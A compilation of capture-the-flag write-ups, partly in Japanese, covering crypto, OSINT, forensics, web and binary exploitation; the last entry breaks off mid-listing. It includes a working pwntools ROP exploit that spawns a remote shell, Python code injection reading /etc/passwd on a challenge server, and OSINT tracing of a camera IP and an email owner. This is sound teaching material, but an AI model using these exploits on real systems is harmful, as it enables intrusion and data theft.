# ROR:Cryptography A super secure and state of the art new cipher!!! As a test, we have secured a flag with it, try to get the flag. ```pyfrom random import randrangefrom secret import flag def encrypt(p): l = [] for i in range(len(p)): l.append(ord(p[i])) while len(l) % 64 != 0: l.append(randrange(33, 125)) c = len(l) % 64 for i in range(c+1): for j in range(24): l[0*(i+1)] = l[0*(i+1)] ^ l[32*(i+1)] l[8*(i+1)] = l[8*(i+1)] ^ l[40*(i+1)] l[16*(i+1)] = l[16*(i+1)] ^ l[48*(i+1)] l[24*(i+1)] = l[24*(i+1)] ^ l[56*(i+1)] l_t = l[:] for z in range(len(l)): l[z] = l_t[z-1] return l print(encrypt(flag))``` ```txt[98, 6, 16, 84, 28, 59, 8, 27, 41, 99, 52, 68, 54, 100, 78, 103, 39, 88, 79, 49, 127, 7, 8, 24, 36, 125, 54, 106, 41, 25, 28, 92, 20, 51, 114, 115, 49, 110, 103, 95, 82, 44, 102, 27, 117, 85, 62, 15, 20, 114, 125, 105, 85, 38, 101, 77, 119, 63, 117, 62, 111, 98, 78, 111]``` # Solution 何度も複雑にXORがされている暗号ですが,XORは二度行うと元に戻ることを利用して,本問では8回暗号化すると元に戻る性質がありました. ```pyfrom random import randrange enc=[98, 6, 16, 84, 28, 59, 8, 27, 41, 99, 52, 68, 54, 100, 78, 103, 39, 88, 79, 49, 127, 7, 8, 24, 36, 125, 54, 106, 41, 25, 28, 92, 20, 51, 114, 115, 49, 110, 103, 95, 82, 44, 102, 27, 117, 85, 62, 15, 20, 114, 125, 105, 85, 38, 101, 77, 119, 63, 117, 62, 111, 98, 78, 111] def decrypt(p): l = [] for i in range(len(p)): l.append(p[i]) while len(l) % 64 != 0: l.append(randrange(33, 125)) c = len(l) % 64 for i in range(c+1): for j in range(24): l[0*(i+1)] = l[0*(i+1)] ^ l[32*(i+1)] l[8*(i+1)] = l[8*(i+1)] ^ l[40*(i+1)] l[16*(i+1)] = l[16*(i+1)] ^ l[48*(i+1)] l[24*(i+1)] = l[24*(i+1)] ^ l[56*(i+1)] l_t = l[:] for z in range(len(l)): l[z] = l_t[z-1] return l enc=decrypt(enc)enc=decrypt(enc)enc=decrypt(enc)enc=decrypt(enc)enc=decrypt(enc)enc=decrypt(enc)enc=decrypt(enc) for i in range(len(enc)): enc[i] = chr(enc[i])print(''.join(enc))``` `SBCTF{R3v3rs1ng_ROR_C1ph3r}iU&eMw?u>obNob5b'-UoD{c4D6dNg'*2X*!mU` この先頭が答えです. ## SBCTF{R3v3rs1ng_ROR_C1ph3r}
# CVEmaster:Forensics:467pts"A hacker is targeting our HR portals and deleting our files. He also tried to hack one of our new websites but fortunately, he was not successful this time. We believe that the hacker is a script kiddie and using a known exploit. Can you find the hacker's IP address and the name of Application Server he is targeting? The flag format is: SBCTF{A_B} A = Ip address of the attacker B = name of the target application server in lowercase" [Download File](https://drive.google.com/file/d/1wSgl3PMV-Ajq05-NFPvGF3DCDWxWencl/view?usp=sharing) # Solution解凍するとpcapファイルが現れる。 脆弱性が攻撃されているらしく、攻撃者のIPと狙われたアプリケーションサーバ名を取得すればよいらしい。 Wiresharkで開いてHTTPについて注目する。 ![cve.png](images/cve.png) 以下の不審な通信が見られた。 ```HEAD /jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo HTTP/1.1Host: 178.128.226.78Accept-Encoding: identityAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:40.0) Gecko/20100101 Firefox/40.0```送信元は`181.214.227.77`で「jmx-console cve」とGoogle検索するとJBossなる製品の注意喚起がみられる。 これを指定された形式に整形するとflagとなった。 ## SBCTF{181.214.227.77_jboss}
# Navy encoding:Reverse Engineering Let’s get our hands dirty with some navy stuff # Solution Javaをコンパイルし,実行するだけです. ![](https://github.com/xryuseix/CTF_Writeups/blob/master/Thor_2021_CTF/images/java.png?raw=true) ## SBCTF{It's_3@s9_g0_f0R_h@rd3r}
# Multi-language man:Cryptography ```txtыисеаХершы_шы_фадфп_ащк_адфп_дщмукыЪ``` # Solution 換字式暗号です.先頭が`SBCTF{`で末尾が`}`であると仮定して変換してみます. `SBCTF{tршs_шs_фfдфп_fщк_fдфп_дщмукs}` `tршs_шs`が`this_is`であると仮定します. `SBCTF{this_is_фfдфп_fщк_fдфп_дщмукs}` Google 翻訳で`дщмукыЪ`を翻訳すると,「もしかして:`lovers}`」と出力されましたが,現在私はうまく再現できませんでした. `SBCTF{this_is_фflфп_for_flфп_lovers}` `flфп`が2回出てきます.`flag`ではないかと仮定します. `SBCTF{this_is_фflag_for_flag_lovers}` `фflag`なんて単語はないので,作問者の`a_flag`の間違いだと推測し,提出するとフラグであるとわかります. ## SBCTF{this_is_a_flag_for_flag_lovers}
# How to read read without read:Web:630ptsCan you bypass their WAF ? they are so confident about it. [Click here](https://ch2.sbug.se/) # Solutionアクセスすると何やらコードが実行できそうなページだが送信できない。 [site.png](site/site.png) ```bash$ curl https://ch2.sbug.se/~~~ <html><head> <title>How to read read without read</title><script async src='/cdn-cgi/challenge-platform/h/b/scripts/invisible.js'></script></head><body> <h2>How to read read without read</h2> <div class="submitter"> <form id="submitter" method="post" action="submit"> <label>Enter your code here </label> <textarea type="text" name="code" id="code" placeholder="print('hello world')"></textarea> </label> </form></div>~~~```ボタンが隠されているようだ。 普通にPOSTすればよいが、言語が不明なのでいろいろと試す。 ```bash$ curl -X POST https://ch2.sbug.se/submit -d "code=print(list('abc'))"<html>['a', 'b', 'c']~~~$ curl -X POST https://ch2.sbug.se/submit -d "code=print(open('/etc/passwd').read())"<html>root:x:0:0:root:/root:/bin/ashbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologinadm:x:3:4:adm:/var/adm:/sbin/nologinlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin~~~```Pythonのようだ。 ディレクトリを覗く。 ```bash$ curl -X POST https://ch2.sbug.se/submit -d "code=print(__import__('os').listdir())"<html>['static', 'homeapp', 'flag', 'entrypoint.sh', '.git', 'read', 'init.sql', '.idea', 'dockerfile', 'sampleApp', 'docker-compose.yml', '.gitignore', '.env', 'requirements.txt', 'manage.py', 'file.sh', 'nginx']~~~````read`なるファイルがあるので読み出せばよいが、readが使えない(500エラーになる)ようだ。 subprocessを使えばよい。 出力が崩れたのでbase64をかませている。 ```bash$ curl -X POST https://ch2.sbug.se/submit -d "code=print(__import__('subprocess').check_output(['cat','read']))"<html>b'SBCTF{[email protected][email protected]$$3d_!t}\n'~~~$ curl -X POST https://ch2.sbug.se/submit -d "code=print(__import__('base64').b64encode(__import__('subprocess').check_output(['cat','read'])))"<html>b'U0JDVEZ7V09XX3kwdV9oQHYzX2J5cEAkJDNkXyF0fQo='~~~$ echo "U0JDVEZ7V09XX3kwdV9oQHYzX2J5cEAkJDNkXyF0fQo=" | base64 -dSBCTF{WOW_y0u_h@v3_byp@$$3d_!t}```flagが得られた。 ## SBCTF{WOW_y0u_h@v3_byp@$$3d_!t}
# Bait:OSINT There is an IP Camera close to the location where the picture was taken, find the IP of that camera. Note: Please put the IP in the correct format for submission, like this:SBCTF{127.0.0.1} ![](https://github.com/xryuseix/CTF_Writeups/blob/master/Thor_2021_CTF/images/Bait.PNG?raw=true) # Solution まずは看板を見て,このように検索をします.「"282-8233" boat」 [このサイト](https://bestadventurespots.com/places-you-can-dock-eat-in-cape-coral/)にレストラン名(Miceli’s Restaurant)が書かれていました. Google Mapから[場所が特定できます](https://www.google.com/maps/@26.6390423,-82.0585524,3a,75y,325.61h,89.17t/data=!3m6!1e1!3m4!1siLfTFvNtz5MbhsvmLqVPzQ!2e0!7i16384!8i8192). 近くのIPカメラはトラフィックカメラだと推測し,検索すると[見つかります](https://www.traffic-cams.com/cape-coral/florida/all). このサイトで先程のMiceli's Restaurantの場所を調べると3台あり,ページを開くと[このサイトのリンク](www.pineislandbait.com)が書かれています.サイトの「Live Webcam 3」を開発者モードで開きます.以下のリンクにアクセスしているそうです. [http://ddbait.dyndns.org:8090](http://ddbait.dyndns.org:8090) 最後にwhoisでIPアドレスを特定します. ## SBCTF{73.156.111.21}
**Full write-up (+files):** [https://www.sebven.com/ctf/2021/11/14/K3RN3LCTF2021-Twizzty-Buzzinezz.html](https://www.sebven.com/ctf/2021/11/14/K3RN3LCTF2021-Twizzty-Buzzinezz.html) Cryptography – 100 pts (116 solves) – Chall author: Polymero (me) “Some bees convinced me to invest in their new cryptosystem. They zzzaid their new XOR keyzztream would revolutionizzze the crypto market. However, they quickly buzzed away so all I have is this weird flyer they dropped. Luckily it has some source code on the back.”“Have I just really been scammed by some bees??” Encrypted Flag: 632a0c6d68a7e5683601394c4be457190f7f7e4ca3343205323e4ca072773c177e6e Note: The flyer is not needed to solve the challenge, it’s just for fun. Files: honeycomb.py, honeycomb_flyer.png This challenge was part of our very first CTF, K3RN3LCTF 2021.
# Discord:OSINT Find the account creation date of one of our discord channel admins (4dam). Note: Please put the date in this format YYYY/MM/DD for submission, like this:SBCTF{1970/01/01} # Solution Discordを開発者モードにします.これは設定からできます. その後,ユーザを指定すると「IDをコピー」というボタンが増えます. ![](https://github.com/xryuseix/CTF_Writeups/blob/master/Thor_2021_CTF/images/discord.png?raw=true) ID: 808684903301775360 以下のサイトで作成日を確認します. [https://hugo.moe/discord/discord-id-creation-date.html](https://hugo.moe/discord/discord-id-creation-date.html) ## SBCTF{2021/02/09}
**Full write-up (+files):** [https://www.sebven.com/ctf/2021/11/14/K3RN3LCTF2021-Non-Square-Freedom.html](https://www.sebven.com/ctf/2021/11/14/K3RN3LCTF2021-Non-Square-Freedom.html) Cryptography – 465 pts (21 solves) and 490 pts (11 solves) – Chall author: Polymero (me) “What can I say, I just like squares.” Files for 1: nonsquarefreedom_easy.py Files for 2: nonsquarefreedom_hard.py This challenge was part of our very first CTF, K3RN3LCTF 2021.
**Summary** Out of Time was an easy-rated hardware challenge in this year’s Hack The Box University CTF. We’re given a python script to talk to the hardware running on the other side, and everytime we submit a password, we’re given a NumPy array of the power trace. We can leverage this to “brute-force” the password, by means of a power analysis, observing irregular spikes when we input something correct. Follow the link of a full breakdown.
# Description: AAAAA. That's all Challenge author: tomadimitrie File: [AAAA](https://github.com/palanioffcl/CTF-Writeups/TFCCTF/Forensics/AAAA) # Procedure: Let's check the filetype using file command. It doesn't make sense let's go ahead by viewing the file there are some AAAAs on both top and bottom surrounded the file We look that .PNG it tells that it is a PNG file ```root@kali:$ foremost AAAA``` It outputs a PNG file where the flag is :)... # Foremost:***What is Foremost???***-It is a command line utility which is used to recover files by using its headers and footers.... # FLAG: ```TFCCTF{Gr4phic_d35ign_is_my_p455ion}```
**Full write-up (+files):** [https://www.sebven.com/ctf/2021/11/16/K3RN3LCTF2021-Poly-Proof.html](https://www.sebven.com/ctf/2021/11/16/K3RN3LCTF2021-Poly-Proof.html) Cryptography – 490 pts (11 solves) – Chall author: Polymero (me) They asked me to set up a zero-knowledge proof that runs in polynomial time. I don’t know what that means but I assume they want me to use polynomials, right? nc ctf.k3rn3l4rmy.com 2232 Files: polyproof.py This challenge was part of our very first CTF, K3RN3LCTF 2021.
# HackTheBox University Qualifiers - Crypto - Waiting List![Original Writeup Here](https://github.com/BeesAreCool/ctf-writeups/blob/main/writeups/htbuni_waiting_list.md) ## Cheese an ECDSA solve or do big complex lattice stuff As you approach SafetyCorp's headquarters, you come across an enormous cogwork tree, and as you watch, a mechanical snake slithers out of a valve, inspecting you carefully. Can you build a disguise, and slip past it? ## A quick note I cheesed this solve. There is a big proper solve that does fancy lattice equations to recover the hidden key based on converting everything into a close vector problem. However, after spending several hours trying to get that to work I found a way to avoid all that. ## Triage The summary of the challenge is we are given 3 files, a signature generator/checker, a list of things that got signed, and the signatures with their corresponding values for the least significant bits of the nonce. We don't need any of that, we just care about the verification of signatures. ```pythonfrom Crypto.Util.number import bytes_to_long, long_to_bytes, inverse def verify(self, pt, sig_r, sig_s): h = sha1(pt).digest() h = bytes_to_long(h) h = bin(h)[2:] h = int(h[:len(bin(self.n)[2:])], 2) sig_r = int(sig_r, 16) sig_s = int(sig_s, 16) c = inverse(sig_s, self.n) k = (c *(h +self.key*sig_r)) %self.n if sig_r== pow(self.g,k,self.n ): if pt ==b'william;yarmouth;22-11-2021;09:00': return 'Your appointment has been confirmed, congratulations!\n' +\ 'Here is your flag: ' + FLAG else: return 'Your appointment has been confirmed!\n' else: return 'Signature is not valid\n'``` So, we just need to satisfy the equation `r = 5^((h+x*r)/s) mod n` where x is the secret key and h is a known constant based on what we are signing. ### Attack To solve `r = 5^((h+x*r)/s)` the simplest method is to make `((h+x*r)/s)` equate to 0. Since this equation is doing the division by using pycryptodomes inverse, I do some light fuzzing to see what it does when it is given a value that does not have an inverse.```>>> inverse(0,13)0```Cool, when an inverse can't be found, it returns 0. That means `((h+x*r)/s)` will equal 0 if s does not have an inverse mod n. Knowing that g (5) will always be raised to the power of 0 regardless of the private key, we know that we can set r to 1 to always match it. This means we can now sign anything with `r=1` and `s=0`. Getting the solve from the server was pretty easy from here, just had to figure out the formatting with json to satisfy the server. ```Welcome to the SteamShake transplant clinic where our mission is to deliver the most vintage and high tech arms worldwide.Please use your signature to verify and confirm your appointment.Estimated waiting for next appointment: 14 months>{"pt":"william;yarmouth;22-11-2021;09:00", "r":"1", "s":"0"}Your appointment has been confirmed, congratulations!Here is your flag: HTB{t3ll_m3_y0ur_s3cr37_w17h0u7_t3ll1n9_m3_y0ur_s3cr37_15bf7w}``` We now have the flag! ## Post-solve big ideas Why do long solve when short solve work as good? DSA needs to have constrains on R and S values
# Email Hunt:OSINT:682ptsI want to find the PGP Public Key of someone's ProtonMail account, but all I got is a useless document he shared with me (https://docs.google.com/spreadsheets/d/1iBRs347v5xXICdgHm4-sQBEFozbqhTABPIespxSBI20). Can you help me find it? Note: Please submit the flag like this example: -----BEGIN PGP PUBLIC KEY BLOCK----- Version: ProtonMail aBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBB BBBBYz -----END PGP PUBLIC KEY BLOCK----- Flag: SBCTF{aBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBYz} [Download File](https://sbug.se/) # SolutionEmailを見つける問題のようだ。 スプレッドシートURLが提示されているので見るが、シートからは何も情報が得られない。 Googleから情報を得る手法として[GHunt](https://github.com/mxrch/GHunt)が知られている。 ![ghunt.png](images/ghunt.png) GHuntより`[email protected]`が入手できた。 知りたいのはProtonMailだが、ユーザ名が同一である可能性が高い。 つまり`[email protected]`のPGP公開鍵を取得することを狙う。 ProtonMailのOSINTツールとしては、[ProtOSINT](https://github.com/pixelbubble/ProtOSINT)が知られている。 ![protosint.png](images/protosint.png) アカウントは生きているようで、公開鍵が取得できた。 ```-----BEGIN PGP PUBLIC KEY BLOCK-----Version: ProtonMail xjMEYZcIIhYJKwYBBAHaRw8BAQdAgXzkYJTBPtkxMSemLogafK1ryTzAsPoUbjT8hQ6Wc4XNRXByaXY0dGUzbWFpbDBmbXIuOEBwcm90b25tYWlsLmNvbSA8cHJpdjR0ZTNtYWlsMGZtci44QHByb3Rvbm1haWwuY29tPsKPBBAWCgAgBQJhlwgiBgsJBwgDAgQVCAoCBBYCAQACGQECGwMCHgEAIQkQBcfjCjlf+3IWIQRSLQS+kFOUoSEmSs4Fx+MKOV/7cgCtAP0dhlLk+UMY9FBnN/SiR+nIObn0q4f/AS2k8kRvuA9cQgEA13kb1fTDmIGXp/rkTh9MSUt22m6rF5khiOr9yCYoTQrOOARhlwgiEgorBgEEAZdVAQUBAQdARRDPDTZcD3gJkaXMzYOSGcLSY0M8PEMs8w0eI9ydnxcDAQgHwngEGBYIAAkFAmGXCCICGwwAIQkQBcfjCjlf+3IWIQRSLQS+kFOUoSEmSs4Fx+MKOV/7ckoLAQCjmVOWyFLflAz5dCinOZI0G8yOsduV8PSw2hvTeyiZMwEAkl9U2tmg2i/XW5PckxqvNgxAZZkkEoQPWa6UpKICIw8==E+gi-----END PGP PUBLIC KEY BLOCK-----```これを整形したものがflagだと思われるが、`Answer must be less that 100 characters.`と怒られる。 ![100X.png](images/100X.png) Burp Suiteでリクエストを書き換えるとflagであった。 ![burpsuite.png](images/burpsuite.png) 運営に報告し、後にこの問題は解消された。 ## SBCTF{xjMEYZcIIhYJKwYBBAHaRw8BAQdAgXzkYJTBPtkxMSemLogafK1ryTzAsPoUbjT8hQ6Wc4XNRXByaXY0dGUzbWFpbDBmbXIuOEBwcm90b25tYWlsLmNvbSA8cHJpdjR0ZTNtYWlsMGZtci44QHByb3Rvbm1haWwuY29tPsKPBBAWCgAgBQJhlwgiBgsJBwgDAgQVCAoCBBYCAQACGQECGwMCHgEAIQkQBcfjCjlf+3IWIQRSLQS+kFOUoSEmSs4Fx+MKOV/7cgCtAP0dhlLk+UMY9FBnN/SiR+nIObn0q4f/AS2k8kRvuA9cQgEA13kb1fTDmIGXp/rkTh9MSUt22m6rF5khiOr9yCYoTQrOOARhlwgiEgorBgEEAZdVAQUBAQdARRDPDTZcD3gJkaXMzYOSGcLSY0M8PEMs8w0eI9ydnxcDAQgHwngEGBYIAAkFAmGXCCICGwwAIQkQBcfjCjlf+3IWIQRSLQS+kFOUoSEmSs4Fx+MKOV/7ckoLAQCjmVOWyFLflAz5dCinOZI0G8yOsduV8PSw2hvTeyiZMwEAkl9U2tmg2i/XW5PckxqvNgxAZZkkEoQPWa6UpKICIw8==E+gi}
# DamCTF 2021 ## pwn/cookie-monster > Do you like cookies? I like cookies.> > `nc chals.damctf.xyz 31312`>> Author: BobbySinclusto> > [`cookie-monster`](cookie-monster) Tags: _pwn_ _x86-64_ _bof_ _remote-shell_ _stack-canary_ _format-string_ _rop_ ## Summary Leak stack canary with format string to enable buffer overflow and ROP FTW. **UPDATE: Added detail on how to compute the location of the canary.** ## Analysis ### Checksec ``` Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)``` No PIE, Partical RELRO = Easy ROP, easy GOT overwrite. x86 (32-bit) makes for even easier ROP (all args passed on stack). ### Decompile with Ghidra ```cvoid bakery(void){ int in_GS_OFFSET; char local_30 [32]; int local_10; local_10 = *(int *)(in_GS_OFFSET + 0x14); printf("Enter your name: "); fgets(local_30,0x20,stdin); printf("Hello "); printf(local_30); puts("Welcome to the bakery!\n\nCurrent menu:"); system("cat cookies.txt"); puts("\nWhat would you like to purchase?"); fgets(local_30,0x40,stdin); puts("Have a nice day!"); if (local_10 != *(int *)(in_GS_OFFSET + 0x14)) { __stack_chk_fail_local(); } return;}``` A couple of vulns here; first there's `printf(local_30)` (no format string), we'll use this to leak the canary, and second there's `fgets(local_30,0x40,stdin)`, where `fgets` is reading in up to `0x40` bytes into a buffer that is `0x30` (`local_30`) bytes from the return address on the stack. IOW, we have 16 bytes (15 really since fgets will replace the last byte with null) to write out a ROP chain. If you check the binary there's some freebies in there to make this a lot easier. First `system` is in the GOT, so we do not need to leak libc, and second `strings cookie-monster | grep bin/sh` returns, well, `/bin/sh`. We'll only need 12 bytes for a ROP chain. ## Exploit ```python#!/usr/bin/env python3 from pwn import * binary = context.binary = ELF('./cookie-monster') if args.REMOTE: p = remote('chals.damctf.xyz', 31312)else: p = process(binary.path) p.sendlineafter(b': ',b'%15$p')p.recvuntil('Hello ')canary = int(p.recvline().strip(),16)log.info('canary: ' + hex(canary)) payload = b''payload += (0x30 - 0x10) * b'A'payload += p32(canary)payload += (0x30 - len(payload)) * b'B'payload += p32(binary.plt.system)payload += p32(0)payload += p32(binary.search(b"/bin/sh").__next__()) p.sendlineafter(b'?\n',payload)p.interactive()``` To leak the canary use the format string `%15$p`. _Why `%15$p`?_ This can be easily computed once you know the offset. Just add `(0x30 - 0x10) / 4` to the offset. From the decompile output above `local_30` (buffer) is `0x30` bytes from the base of the stack frame, and `local_10` (canary) is `0x10` bytes from the base of the stack frame (these are Ghidra conventions). `(0x30 - 0x10)` is the distance from the start of the buffer to the canary. `/4` computes the number of stack lines for x86 (32-bit). To get the [buffer] offset, send `%xx%p` where `xx` is `01`, `02`, ... until you get a match, once there's a match, then you have the offset, e.g.: ```bash# ./cookie-monsterEnter your name: %6$pHello 0xff938f78``` Not a match. ```bash# ./cookie-monsterEnter your name: %7$pHello 0x70243725``` `0x70243725` is little endian ASCII hex for `%7$p`, a match, therefore the offset is 7. `7 + (0x30 - 0x10) / 4 = 15` With canary in hand, constructing the 32-bit ROP chain is just: ```location of systemreturn address (we do not plan on returning here, so any value is fine)first arg to system (location of string /bin/sh)``` Output: ```bash# ./exploit.py REMOTE=1[*] '/pwd/datajerk/damctf2021/cookie-monster/cookie-monster' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)[+] Opening connection to chals.damctf.xyz on port 31312: Done[*] canary: 0xb063cf00[*] Switching to interactive modeHave a nice day!$ cat flagdam{s74CK_c00k13S_4r3_d3L1C10Us}```
No captcha required for preview. Please, do not write just a link to original writeup here. https://d1r3wolf.blogspot.com/2021/11/k3rn3l-ctf-2021-rev-recurso-rasm.html#recurso
# pneumatic validator ```textIn some alternate reality, computers are not electronics-based but instead use air pressure. No electrons are zipping by and instead, a large pneumatic circuit takes care of all the math. In that world, we reverse engineers are not staring countless hours into debuggers and disassemblers but are inspecting the circuits on a valve level, trying to figure out how the particles will behave in weird components and how they are connected. Thinking about it, that doesn't sound too different, does it? ```[pneumaticvalidator](https://heinen.dev//ctf/htb-uni-quals-2021/pneumaticvalidator) ## reversing ```cundefined8 main(int argc,char **argv) { undefined8 uVar1; size_t sVar2; float fVar3; int local_10; puts("Starting the Pneumatic Flag Validation Machine..."); if (argc == 2) { sVar2 = strlen(argv[1]); if (sVar2 == 0x14) { FUN_00105498(argv[1],0x14); puts("Initializing Simulation..."); init_heap(); FUN_001012bf(); FUN_0010149a(); puts("Simulating..."); for (local_10 = 0; local_10 < 0x400; local_10 = local_10 + 1) { simulate(); } fVar3 = find_max(); if (15.0 <= fVar3) { puts("Wrong \\o\\"); } else { puts("Correct /o/"); } FUN_0010125a(); uVar1 = 0; } else { puts("Wrong length"); uVar1 = 1; } } else { puts("Please provide the flag to verify"); uVar1 = 1; } return uVar1;}``` It takes a flag provided in argv[1] and asserts the length is 20. It'll run a few setup functions to populate global variables and then run a simulator function 0x400 times. This is honestly pretty big and gross and I didn't want to reverse it so I decided to poke around with GDB. ![=](https://heinen.dev/ctf/htb-uni-quals-2021/pneumatic_validator_dynamic.png) Ah, yes, I can actually just do that lmao. ✨ dynamic analysis ✨. ## solve ```pythonfrom subprocess import run, PIPEfrom string import ascii_letters, digits, punctuationfrom pwn import * def check_pw(pw): proc = run(f'gdb ./pneumaticvalidator --nx --ex "b *0x0000555555554000+0x5640" --ex "r {pw}" --ex \'x/f $rbp-4\' --batch', stdout=PIPE,shell=True) lines = proc.stdout.decode().split("\n") return float(lines[-2].split(":\t")[1]) # known = ""known = "HTB{PN7Um4t1C_l0g1C}" # initial pass; not fully accurate but it's enough to get the gist and we can try individual characters again laterwhile len(known) < 20: log.info(f"trying with known \"{known}\"") pressures = {} for i in ascii_letters + digits + "_{}": pw = (known + i).ljust(20,"A") pressures[i] = check_pw(pw) next = min(pressures.items(), key=lambda x: x[1]) log.info(f"guessing next letter to be \"{next[0]}\" with pressure of {next[1]}") known += next[0] def vary_index(idx, pw): pressures = {} log.info(f"varying idx = {idx}, char = {known[idx]}") for i in ascii_letters + digits: pw[idx] = i pressure = check_pw("".join(pw)) pressures[i] = pressure print(sorted(pressures.items(), key=lambda x: x[1])) return min(pressures.items(), key=lambda x: x[1]) pw = list(known)for i in range(4,20): # we know HTB{ is correct old_pw = [x for x in pw] pw[i] = vary_index(i, pw)[0] if pw != old_pw: log.info(f"found better flag \"{''.join(pw)}\" -> \"{''.join(old_pw)}\"")``` lmao i don't deserve this HTB{pN3Um4t1C_l0g1C}
# Robot Factory The description for this challenge is as follows: *You've been asked to investigate the Build-A-Bot factory, where there's rumours of the robots acting strangely. Can you get them under control?* The challenge was rated at 2 out of 4 stars, and it was worth 425 points at the end with a total of 16 solves. The downloadables for the challenge included the challenge binary and a libc file. I would say that the main challenges involved were reverse-engineering the binary to find the most straightforward exploitation path, as well as knowing about how pthreads affect canaries. **TL;DR Solution:** Notice that we can get something like a libc leak with robot type 'n' and operation type 'a', as well as seemingly trigger a canary on robot type 's', operation type 'm' with certain inputs, indicating a stack overflow. Reverse engineer the 's' 'm' scenario to note that our input for string 1 is repeated by our entered size, plus one, and stored on the stack, causing overflows when sufficiently large. Note that when pthread is used, we can overwrite the stack_guard to equal whatever we overwrote the canary with. A carefully crafted ropchain, canary overwrite, and stack guard overwrite can then be used to gain shell access. ## Original Writeup Link This writeup is also available on my GitHub! View it there via this link: https://github.com/knittingirl/CTF-Writeups/tree/main/pwn_challs/HTB_Uni_Quals_21/robot_factory ## Gathering Information I started by running checksec on the file. The results showed that this is a typical x86-64 binary, with a canary, no PIE, and NX.```knittingirl@piglet:~/CTF/HTB_Uni_Quals_21/pwn_robot_factory$ checksec robot_factory[*] '/home/knittingirl/CTF/HTB_Uni_Quals_21/pwn_robot_factory/robot_factory' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)```A quick glance at the decompilation in Ghidra raised concerns that this would be another heap pwn problem due to the presence of malloc and free calls. However, I also noted the use of pthread; the only time that I had previously seen pthread in a pwn challenge, it was used in order to bypass a canary in a manner I will explain in more detail later on. This would indicate a ROP-based approach, which I find significantly simpler.```void main(void) { pthread_t local_10; setvbuf(stdout,(char *)0x0,2,0); puts("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-="); puts("| |"); puts("| WELCOME TO THE ROBOT FACTORY! |"); puts("| DAYS WITHOUT AN ACCIDENT: |"); puts("| 0 |"); puts("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-="); /* This is taking place in a pthread. I know that this can mess with canaries.*/ pthread_create(&local_10,(pthread_attr_t *)0x0,self_destruct_protocol,(void *)0x0); do { /* this will get called repeatedly */ create_robot(); } while( true );}```### Sort of a Libc LeakSince the decompilation wasn't super clear, I opted to run the binary and try out some of the possible inputs to see if I noticed anything suspicious. Anything involving the 'n' kind of robot seemed to be printing out a large decimal number that seemed like it could translate to some sort of leak; in the example reproduced below, the number in hex is 0x7fb872d9cec8, which looks like a libc value.```knittingirl@piglet:~/CTF/HTB_Uni_Quals_21/pwn_robot_factory$ ./robot_factory =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| || WELCOME TO THE ROBOT FACTORY! || DAYS WITHOUT AN ACCIDENT: || 0 |=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=What kind of robot would you like? (n/s) > nWhat kind of operation do you want? (a/s/m) > aEnter number 1: 2Enter number 2: 2What kind of robot would you like? (n/s) > Result: 140430177586888```To test this theory out, I made a pwntools script with gdb attached that would produce those same inputs and, for convenience, auto-convert the "leak" to a hex address. Here is that script:```from pwn import * target = process('./robot_factory', env={"LD_PRELOAD":"./libc.so.6"}) pid = gdb.attach(target, "b *create_robot+145\n set disassembly-flavor intel\ncontinue") libc = ELF('libc.so.6')elf = ELF('robot_factory') #target = remote('64.227.40.93', 31059) print(target.recvuntil(b'>'))target.sendline(b'n') print(target.recvuntil(b'>'))target.sendline(b'a') print(target.recvuntil(b'1:'))target.sendline(b'2') print(target.recvuntil(b'2:'))target.sendline(b'2') print(target.recvuntil(b'Result: ')) result = target.recvuntil(b'\n').strip()print(result) leak = int(result)print('that number is at an address of', hex(leak))target.interactive()```The relevant sub-section of results:```b' What kind of operation do you want? (a/s/m) >'b' Enter number 1:'b' Enter number 2:'b' What kind of robot would you like? (n/s) > Result: 'b'140635357441736'that number is at an address of 0x7fe83885eec8 ```Now, if I use vmmap in gdb, my leak is from an unidentified read-write section, but it does appear to a constant distance from the main libc section:```0x00007fe838060000 0x00007fe838860000 0x0000000000000000 rw- ```To check, I found the libc address of system on that particular run, and found that the difference between that address and my leak is 0x8a1548. When I reproduced this between runs, the offset remained consistent, giving me what effectively works as a libc leak that I can use to find the base address on each run.```gef➤ x/gx system0x7fe839100410 <system>: 0x74ff8548fa1e0ff3 ```### Getting a Stack Overflow When I started trying inputs with a robot kind of "s" and an operation kind of "m", I discovered something very interesting, namely that certain inputs could produce the "stack smashing detected" error that means you overwrote a canary.```knittingirl@piglet:~/CTF/HTB_Uni_Quals_21/pwn_robot_factory$ ./robot_factory =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| || WELCOME TO THE ROBOT FACTORY! || DAYS WITHOUT AN ACCIDENT: || 0 |=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=What kind of robot would you like? (n/s) > sWhat kind of operation do you want? (a/s/m) > mEnter string 1: aaaaaaaaaaaaaaaaEnter size: 67What kind of robot would you like? (n/s) > *** stack smashing detected ***: terminatedAborted```Since this strongly suggests a stack overflow, I investigated further. If we look back at ghidra, the main meat of the program is occurring in a create_robot function. Regardless of the choices I make, it does another pthread with the function do_robot and argument robots[current_index].``` pthread_create(&local_28,(pthread_attr_t *)0x0,do_robot,(void *)robots[current_index]); *(pthread_t *)robots[current_index] = local_28;```After some dynamic and static analysis, I discovered that the 's' 'm' combination leads into do_string(), then multiply_func(). While I never fully reverse engineered what was going on, by placing breakpoints and stepping through the function, I was able to work out what was going on. As an aside, I've found that this works most reliably when you set up a breakpoint within create-thread where the first function actually gets called, specifically here with this libc: b *start_thread+213. Anyway, at the end of do_string, I can see that I've overwritten the canary with a's, and will trigger the stack smashing detection:``` 0x4017fb <do_string+117> mov rax, QWORD PTR [rbp-0x8] → 0x4017ff <do_string+121> sub rax, 